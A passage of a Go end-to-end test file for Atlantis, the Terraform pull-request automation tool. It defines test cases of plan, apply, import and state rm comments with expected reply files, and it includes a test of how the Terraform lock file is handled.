[][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-atlantis-plan.txt\"},\n\t\t\t\t{\"exp-output-atlantis-plan-new-workspace.txt\"},\n\t\t\t\t{\"exp-output-apply-var-default-workspace.txt\"},\n\t\t\t\t{\"exp-output-apply-var-new-workspace.txt\"},\n\t\t\t\t{\"exp-output-merge-workspaces.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with workspaces and apply all\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -- -var var=default_workspace\",\n\t\t\t\t\"atlantis plan -w new_workspace -- -var var=new_workspace\",\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-atlantis-plan.txt\"},\n\t\t\t\t{\"exp-output-atlantis-plan-new-workspace.txt\"},\n\t\t\t\t{\"exp-output-apply-var-all.txt\"},\n\t\t\t\t{\"exp-output-merge-workspaces.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with allow commands\",\n\t\t\tRepoDir:       \"simple\",\n\t\t\tAllowCommands: []command.Name{command.Plan, command.Apply},\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import ADDRESS ID\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-allow-command-unknown-import.txt\"},\n\t\t\t},\n\t\t\tExpAllowResponseCommentBack: true,\n\t\t\tExpParseFailedCount:         1,\n\t\t\tExpNoLocksToDelete:          true,\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with atlantis.yaml\",\n\t\t\tRepoDir:       \"simple-yaml\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply -w staging\",\n\t\t\t\t\"atlantis apply -w default\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-default.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:             \"simple with atlantis.yaml - autoplan disabled\",\n\t\t\tRepoDir:                 \"simple-yaml\",\n\t\t\tModifiedFiles:           []string{\"main.tf\"},\n\t\t\tDisableAutoplan:         true,\n\t\t\tDisablePreWorkflowHooks: true,\n\t\t\tExpAutoplan:             false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -w staging\",\n\t\t\t\t\"atlantis plan -w default\",\n\t\t\t\t\"atlantis apply -w staging\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-plan-staging.txt\"},\n\t\t\t\t{\"exp-output-plan-default.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with atlantis.yaml and apply all\",\n\t\t\tRepoDir:       \"simple-yaml\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-all.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:    \"custom repo config file\",\n\t\t\tRepoDir:        \"repo-config-file\",\n\t\t\tRepoConfigFile: \"infrastructure/custom-name-atlantis.yaml\",\n\t\t\tModifiedFiles: []string{\n\t\t\t\t\"infrastructure/staging/main.tf\",\n\t\t\t\t\"infrastructure/production/main.tf\",\n\t\t\t},\n\t\t\tExpAutoplan: true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"modules staging only\",\n\t\t\tRepoDir:       \"modules\",\n\t\t\tModifiedFiles: []string{\"staging/main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply -d staging\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan-only-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-merge-only-staging.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:             \"modules staging only - autoplan disabled\",\n\t\t\tRepoDir:                 \"modules\",\n\t\t\tModifiedFiles:           []string{\"staging/main.tf\"},\n\t\t\tDisableAutoplan:         true,\n\t\t\tDisablePreWorkflowHooks: true,\n\t\t\tExpAutoplan:             false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -d staging\",\n\t\t\t\t\"atlantis apply -d staging\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-plan-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-merge-only-staging.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"modules modules only\",\n\t\t\tRepoDir:       \"modules\",\n\t\t\tModifiedFiles: []string{\"modules/null/main.tf\"},\n\t\t\tExpAutoplan:   false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -d staging\",\n\t\t\t\t\"atlantis plan -d production\",\n\t\t\t\t\"atlantis apply -d staging\",\n\t\t\t\t\"atlantis apply -d production\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-plan-staging.txt\"},\n\t\t\t\t{\"exp-output-plan-production.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-production.txt\"},\n\t\t\t\t{\"exp-output-merge-all-dirs.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"modules-yaml\",\n\t\t\tRepoDir:       \"modules-yaml\",\n\t\t\tModifiedFiles: []string{\"modules/null/main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply -d staging\",\n\t\t\t\t\"atlantis apply -d production\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-production.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"tfvars-yaml\",\n\t\t\tRepoDir:       \"tfvars-yaml\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply -p staging\",\n\t\t\t\t\"atlantis apply -p default\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-default.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"tfvars no autoplan\",\n\t\t\tRepoDir:       \"tfvars-yaml-no-autoplan\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   false,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan -p staging\",\n\t\t\t\t\"atlantis plan -p default\",\n\t\t\t\t\"atlantis apply -p staging\",\n\t\t\t\t\"atlantis apply -p default\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-plan-staging.txt\"},\n\t\t\t\t{\"exp-output-plan-default.txt\"},\n\t\t\t\t{\"exp-output-apply-staging.txt\"},\n\t\t\t\t{\"exp-output-apply-default.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"automerge\",\n\t\t\tRepoDir:       \"automerge\",\n\t\t\tExpAutomerge:  true,\n\t\t\tExpAutoplan:   true,\n\t\t\tModifiedFiles: []string{\"dir1/main.tf\", \"dir2/main.tf\"},\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply -d dir1\",\n\t\t\t\t\"atlantis apply -d dir2\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-dir1.txt\"},\n\t\t\t\t{\"exp-output-apply-dir2.txt\"},\n\t\t\t\t{\"exp-output-automerge.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"server-side cfg\",\n\t\t\tRepoDir:       \"server-side-cfg\",\n\t\t\tExpAutomerge:  false,\n\t\t\tExpAutoplan:   true,\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply -w staging\",\n\t\t\t\t\"atlantis apply -w default\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-staging-workspace.txt\"},\n\t\t\t\t{\"exp-output-apply-default-workspace.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"workspaces parallel with atlantis.yaml\",\n\t\t\tRepoDir:       \"workspace-parallel-yaml\",\n\t\t\tModifiedFiles: []string{\"production/main.tf\", \"staging/main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tExpParallel:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan-staging.txt\", \"exp-output-autoplan-production.txt\"},\n\t\t\t\t{\"exp-output-apply-all-staging.txt\", \"exp-output-apply-all-production.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"global apply lock disables apply commands\",\n\t\t\tRepoDir:       \"simple-yaml\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tApplyLock:     true,\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-apply-locked.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"omitting apply from allow commands always takes precedence\",\n\t\t\tRepoDir:       \"simple-yaml\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tAllowCommands: []command.Name{command.Plan},\n\t\t\tApplyLock:     false,\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis apply\",\n\t\t\t},\n\t\t\tExpParseFailedCount:         1,\n\t\t\tExpAllowResponseCommentBack: true,\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t// Disabling apply is implementing by omitting it from the apply list\n\t\t\t\t// See: https://github.com/runatlantis/atlantis/pull/2877\n\t\t\t\t{\"exp-output-allow-command-unknown-apply.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"import single project\",\n\t\t\tRepoDir:       \"import-single-project\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import random_id.dummy1 AA\",\n\t\t\t\t\"atlantis apply\",\n\t\t\t\t\"atlantis import random_id.dummy2 BB\",\n\t\t\t\t\"atlantis plan\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-import-dummy1.txt\"},\n\t\t\t\t{\"exp-output-apply-no-projects.txt\"},\n\t\t\t\t{\"exp-output-import-dummy2.txt\"},\n\t\t\t\t{\"exp-output-plan-again.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription: \"import workspace\",\n\t\t\tRepoDir:     \"import-workspace\",\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import -d dir1 -w ops 'random_id.dummy1[0]' AA\",\n\t\t\t\t\"atlantis import -p dir1-ops 'random_id.dummy2[0]' BB\",\n\t\t\t\t\"atlantis plan -p dir1-ops\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-import-dir1-ops-dummy1.txt\"},\n\t\t\t\t{\"exp-output-import-dir1-ops-dummy2.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"import single project with -var\",\n\t\t\tRepoDir:       \"import-single-project-var\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import 'random_id.for_each[\\\"overridden\\\"]' AA -- -var var=overridden\",\n\t\t\t\t\"atlantis import random_id.count[0] BB\",\n\t\t\t\t\"atlantis plan -- -var var=overridden\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-import-foreach.txt\"},\n\t\t\t\t{\"exp-output-import-count.txt\"},\n\t\t\t\t{\"exp-output-plan-again.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"import multiple project\",\n\t\t\tRepoDir:       \"import-multiple-project\",\n\t\t\tModifiedFiles: []string{\"dir1/main.tf\", \"dir2/main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import random_id.dummy1 AA\",\n\t\t\t\t\"atlantis import -d dir1 random_id.dummy1 AA\",\n\t\t\t\t\"atlantis plan\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-import-multiple-projects.txt\"},\n\t\t\t\t{\"exp-output-import-dummy1.txt\"},\n\t\t\t\t{\"exp-output-plan-again.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"state rm single project\",\n\t\t\tRepoDir:       \"state-rm-single-project\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import random_id.simple AA\",\n\t\t\t\t\"atlantis import 'random_id.for_each[\\\"overridden\\\"]' BB -- -var var=overridden\",\n\t\t\t\t\"atlantis import random_id.count[0] BB\",\n\t\t\t\t\"atlantis plan -- -var var=overridden\",\n\t\t\t\t\"atlantis state rm 'random_id.for_each[\\\"overridden\\\"]' -- -lock=false\",\n\t\t\t\t\"atlantis state rm random_id.count[0] random_id.simple\",\n\t\t\t\t\"atlantis plan -- -var var=overridden\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-import-simple.txt\"},\n\t\t\t\t{\"exp-output-import-foreach.txt\"},\n\t\t\t\t{\"exp-output-import-count.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t\t{\"exp-output-state-rm-foreach.txt\"},\n\t\t\t\t{\"exp-output-state-rm-multiple.txt\"},\n\t\t\t\t{\"exp-output-plan-again.txt\"},\n\t\t\t\t{\"exp-output-merged.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription: \"state rm workspace\",\n\t\t\tRepoDir:     \"state-rm-workspace\",\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import -p dir1-ops 'random_id.dummy1[0]' AA\",\n\t\t\t\t\"atlantis plan -p dir1-ops\",\n\t\t\t\t\"atlantis state rm -p dir1-ops 'random_id.dummy1[0]'\",\n\t\t\t\t\"atlantis plan -p dir1-ops\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-import-dummy1.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t\t{\"exp-output-state-rm-dummy1.txt\"},\n\t\t\t\t{\"exp-output-plan-again.txt\"},\n\t\t\t\t{\"exp-output-merge.txt\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tDescription:   \"state rm multiple project\",\n\t\t\tRepoDir:       \"state-rm-multiple-project\",\n\t\t\tModifiedFiles: []string{\"dir1/main.tf\", \"dir2/main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis import -d dir1 random_id.dummy AA\",\n\t\t\t\t\"atlantis import -d dir2 random_id.dummy BB\",\n\t\t\t\t\"atlantis plan\",\n\t\t\t\t\"atlantis state rm random_id.dummy\",\n\t\t\t\t\"atlantis plan\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-import-dummy1.txt\"},\n\t\t\t\t{\"exp-output-import-dummy2.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t\t{\"exp-output-state-rm-multiple-projects.txt\"},\n\t\t\t\t{\"exp-output-plan-again.txt\"},\n\t\t\t\t{\"exp-output-merged.txt\"},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\n\t\t\t// reset userConfig\n\t\t\tuserConfig = server.UserConfig{}\n\n\t\t\topt := setupOption{\n\t\t\t\trepoConfigFile:          c.RepoConfigFile,\n\t\t\t\tallowCommands:           c.AllowCommands,\n\t\t\t\tdisableAutoplan:         c.DisableAutoplan,\n\t\t\t\tdisablePreWorkflowHooks: c.DisablePreWorkflowHooks,\n\t\t\t}\n\t\t\tctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, opt)\n\t\t\t// Set the repo to be cloned through the testing backdoor.\n\t\t\trepoDir, headSHA := initializeRepo(t, c.RepoDir)\n\t\t\tatlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf(\"file://%s\", repoDir)\n\n\t\t\t// Setup test dependencies.\n\t\t\tw := httptest.NewRecorder()\n\t\t\tWhen(githubGetter.GetPullRequest(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil)\n\t\t\tWhen(vcsClient.GetModifiedFiles(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\n\t\t\t// First, send the open pull request event which triggers autoplan.\n\t\t\tpullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA)\n\t\t\tctrl.Post(w, pullOpenedReq)\n\t\t\tResponseContains(t, w, 200, \"Processing...\")\n\n\t\t\t// Create global apply lock if required\n\t\t\tif c.ApplyLock {\n\t\t\t\t_, _ = applyLocker.LockApply()\n\t\t\t}\n\n\t\t\t// Now send any other comments.\n\t\t\tfor _, comment := range c.Comments {\n\t\t\t\tcommentReq := GitHubCommentEvent(t, comment)\n\t\t\t\tw = httptest.NewRecorder()\n\t\t\t\tctrl.Post(w, commentReq)\n\t\t\t\tif c.ExpAllowResponseCommentBack {\n\t\t\t\t\tResponseContains(t, w, 200, \"Commenting back on pull request\")\n\t\t\t\t} else {\n\t\t\t\t\tResponseContains(t, w, 200, \"Processing...\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Send the \"pull closed\" event which would be triggered by the\n\t\t\t// automerge or a manual merge.\n\t\t\tpullClosedReq := GitHubPullRequestClosedEvent(t)\n\t\t\tw = httptest.NewRecorder()\n\t\t\tctrl.Post(w, pullClosedReq)\n\t\t\tResponseContains(t, w, 200, \"Pull request cleaned successfully\")\n\n\t\t\texpNumHooks := len(c.Comments) - c.ExpParseFailedCount\n\t\t\t// if auto plan is disabled, hooks will not be called on pull request opened event\n\t\t\tif !c.DisableAutoplan {\n\t\t\t\texpNumHooks++\n\t\t\t}\n\t\t\t// Let's verify the pre-workflow hook was called for each comment including the pull request opened event\n\t\t\tif !c.DisablePreWorkflowHooks {\n\t\t\t\tmockPreWorkflowHookRunner.VerifyWasCalled(Times(expNumHooks)).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\t\t\tEq(\"some dummy command\"), Any[string](), Any[string](), Any[string]())\n\t\t\t}\n\t\t\t// Let's verify the post-workflow hook was called for each comment including the pull request opened event\n\t\t\tmockPostWorkflowHookRunner.VerifyWasCalled(Times(expNumHooks)).Run(Any[models.WorkflowHookCommandContext](),\n\t\t\t\tEq(\"some post dummy command\"), Any[string](), Any[string](), Any[string]())\n\n\t\t\t// Now we're ready to verify Atlantis made all the comments back (or\n\t\t\t// replies) that we expect.  We expect each plan to have 1 comment,\n\t\t\t// and apply have 1 for each comment\n\t\t\texpNumReplies := len(c.Comments)\n\n\t\t\t// If there are locks to delete at the end, that will take a comment\n\t\t\tif !c.ExpNoLocksToDelete {\n\t\t\t\texpNumReplies++\n\t\t\t}\n\n\t\t\tif c.ExpAutoplan {\n\t\t\t\texpNumReplies++\n\t\t\t}\n\n\t\t\tif c.ExpAutomerge {\n\t\t\t\texpNumReplies++\n\t\t\t}\n\n\t\t\t_, _, _, actReplies, _ := vcsClient.VerifyWasCalled(Times(expNumReplies)).CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()).GetAllCapturedArguments()\n\t\t\tAssert(t, len(c.ExpReplies) == len(actReplies), \"missing expected replies, got %d but expected %d\", len(actReplies), len(c.ExpReplies))\n\t\t\tfor i, expReply := range c.ExpReplies {\n\t\t\t\tassertCommentEquals(t, expReply, actReplies[i], c.RepoDir, c.ExpParallel)\n\t\t\t}\n\n\t\t\tif c.ExpAutomerge {\n\t\t\t\t// Verify that the merge API call was made.\n\t\t\t\tvcsClient.VerifyWasCalledOnce().MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]())\n\t\t\t} else {\n\t\t\t\tvcsClient.VerifyWasCalled(Never()).MergePull(Any[logging.SimpleLogging](), Any[models.PullRequest](), Any[models.PullRequestOptions]())\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestSimpleWorkflow_terraformLockFile(t *testing.T) {\n\n\tif testing.Short() {\n\t\tt.SkipNow()\n\t}\n\t// Ensure we have >= TF 0.14 locally.\n\tensureRunning014(t)\n\n\tcases := []struct {\n\t\tDescription string\n\t\t// RepoDir is relative to testdata/test-repos.\n\t\tRepoDir string\n\t\t// ModifiedFiles are the list of files that have been modified in this\n\t\t// pull request.\n\t\tModifiedFiles []string\n\t\t// ExpAutoplan is true if we expect Atlantis to autoplan.\n\t\tExpAutoplan bool\n\t\t// Comments are what our mock user writes to the pull request.\n\t\tComments []string\n\t\t// ExpReplies is a list of files containing the expected replies that\n\t\t// Atlantis writes to the pull request in order. A reply from a parallel operation\n\t\t// will be matched using a substring check.\n\t\tExpReplies [][]string\n\t\t// LockFileTracked deterims if the `.terraform.lock.hcl` file is tracked in git\n\t\t// if this is true we dont expect the lockfile to be modified by terraform init\n\t\t// if false we expect the lock file to be updated\n\t\tLockFileTracked bool\n\t}{\n\t\t{\n\t\t\tDescription:   \"simple with plan comment lockfile staged\",\n\t\t\tRepoDir:       \"simple-with-lockfile\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t},\n\t\t\tLockFileTracked: true,\n\t\t},\n\t\t{\n\t\t\tDescription:   \"simple with plan comment lockfile not staged\",\n\t\t\tRepoDir:       \"simple-with-lockfile\",\n\t\t\tModifiedFiles: []string{\"main.tf\"},\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t},\n\t\t\tLockFileTracked: false,\n\t\t},\n\t\t{\n\t\t\tDescription:   \"Modified .terraform.lock.hcl triggers autoplan \",\n\t\t\tRepoDir:       \"simple-with-lockfile\",\n\t\t\tModifiedFiles: []string{\".terraform.lock.hcl\"},\n\t\t\tExpAutoplan:   true,\n\t\t\tComments: []string{\n\t\t\t\t\"atlantis plan\",\n\t\t\t},\n\t\t\tExpReplies: [][]string{\n\t\t\t\t{\"exp-output-autoplan.txt\"},\n\t\t\t\t{\"exp-output-plan.txt\"},\n\t\t\t},\n\t\t\tLockFileTracked: true,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tRegisterMockTestingT(t)\n\n\t\t\t// reset userConfig\n\t\t\tuserConfig = server.UserConfig{}\n\n\t\t\tctrl, vcsClient, githubGetter, atlantisWorkspace := setupE2E(t, c.RepoDir, setupOption{})\n\t\t\t// Set the repo to be cloned through the testing backdoor.\n\t\t\trepoDir, headSHA := initializeRepo(t, c.RepoDir)\n\n\t\t\toldLockFilePath, err := filepath.Abs(filepath.Join(\"testdata\", \"null_provider_lockfile_old_version\"))\n\t\t\tOk(t, err)\n\t\t\toldLockFileContent, err := os.ReadFile(oldLockFilePath)\n\t\t\tOk(t, err)\n\n\t\t\tif c.LockFileTracked {\n\t\t\t\trunCmd(t, \"\", \"cp\", oldLockFilePath, fmt.Sprintf(\"%s/.terraform.lock.hcl\", repoDir))\n\t\t\t\trunCmd(t, repoDir, \"git\", \"add\", \".terraform.lock.hcl\")\n\t\t\t\trunCmd(t, repoDir, \"git\", \"commit\", \"-am\", \"stage .terraform.lock.hcl\")\n\t\t\t\t// Update target sha since there's now an extra commit\n\t\t\t\theadSHA = strings.TrimSpace(runCmd(t, repoDir, \"git\", \"rev-parse\", \"HEAD\"))\n\t\t\t}\n\n\t\t\tatlantisWorkspace.TestingOverrideHeadCloneURL = fmt.Sprintf(\"file://%s\", repoDir)\n\n\t\t\t// Setup test dependencies.\n\t\t\tw := httptest.NewRecorder()\n\t\t\tWhen(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int]())).ThenReturn(GitHubPullRequestParsed(headSHA), nil)\n\t\t\tWhen(vcsClient.GetModifiedFiles(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(c.ModifiedFiles, nil)\n\n\t\t\t// First, send the open pull request event which triggers autoplan.\n\t\t\tpullOpenedReq := GitHubPullRequestOpenedEvent(t, headSHA)\n\t\t\tctrl.Post(w, pullOpenedReq)\n\t\t\tResponseContains(t, w, 200, \"Processing...\")\n\n\t\t\t// check lock file content\n\t\t\tactualLockFileContent, err := os.ReadFile(fmt.Sprintf(\"%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl\", atlantisWorkspace.DataDir))\n\t\t\tOk(t, err)\n\t\t\tif c.LockFileTracked {\n\t\t\t\tif string(oldLockFileContent) != string(actualLockFileContent) {\n\t\t\t\t\tt.Error(\"Expected terraform.lock.hcl file not to be different as it has been staged\")\n\t\t\t\t\tt.FailNow()\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif string(oldLockFileContent) == string(actualLockFileContent) {\n\t\t\t\t\tt.Error(\"Expected terraform.lock.hcl file to be different as it should have been updated\")\n\t\t\t\t\tt.FailNow()\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif !c.LockFileTracked {\n\t\t\t\t// replace the lock file generated by the previous init to simulate\n\t\t\t\t// dependencies needing updating in a latter plan\n\t\t\t\trunCmd(t, \"\", \"cp\", oldLockFilePath, fmt.Sprintf(\"%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl\", atlantisWorkspace.DataDir))\n\t\t\t}\n\n\t\t\t// Now send any other comments.\n\t\t\tfor _, comment := range c.Comments {\n\t\t\t\tcommentReq := GitHubCommentEvent(t, comment)\n\t\t\t\tw = httptest.NewRecorder()\n\t\t\t\tctrl.Post(w, commentReq)\n\t\t\t\tResponseContains(t, w, 200, \"Processing...\")\n\t\t\t}\n\n\t\t\t// check lock file content\n\t\t\tactualLockFileContent, err = os.ReadFile(fmt.Sprintf(\"%s/repos/runatlantis/atlantis-tests/2/default/.terraform.lock.hcl\", atlantisWorkspace.DataDir))\n\t\t\tOk(t, err)\n\t\t\tif c.LockFileTracked 